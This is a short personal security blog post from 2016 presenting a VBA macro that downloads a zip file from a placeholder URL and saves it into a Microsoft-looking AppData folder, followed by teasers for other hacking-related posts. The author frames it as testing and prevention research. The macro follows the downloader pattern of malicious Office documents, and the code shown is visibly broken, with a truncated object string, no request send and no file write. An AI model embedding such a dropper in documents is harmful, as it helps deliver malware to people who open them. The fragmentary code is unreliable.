Tuesday, October 18, 2016
VBA - Script to Download a file from a URL
Below is a Visual Basic for Applications script I quickly build to download a file through a Macro to the computer. This was to test the capability of being able to do it and finding a way to prevent it from occurring.
' vTest Macro
Dim myURL As String
dURL = "http://blah/text.zip"
Dim WinHttpReq As Object
Dim fileName As String
fileName = Environ("AppData") & "\microsoft\text.zip"
Set WinHttpReq = CreateObject("Microsoft.
WinHttpReq.Open "GET", dURL
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Type = 1
oStream.SaveToFile fileName, 2
For an ethical hacking class that I will be teaching coming up in the near future I wanted to identify a way where I could provide students ...
*** This solution no longer works with updates that Sophos has applied or changes that Netflix has made! I was helping a friend with a Sop...
At BSides 2016 I participated in their Hackers Challenge. The challenges were based on reverse engineering, network packet analysis, and ma...
Below is a Visual Basic for Applications script I quickly build to download a file through a Macro to the computer. This was to test the ca...
Through the information gathered inside of the binaries I began searching for unique strings on Google. One of the unique strings that I se...
I was looking through the boot 2 root vulnerable images that they have on vulnhub.com and Pandora's box caught my eye. I wanted to foll...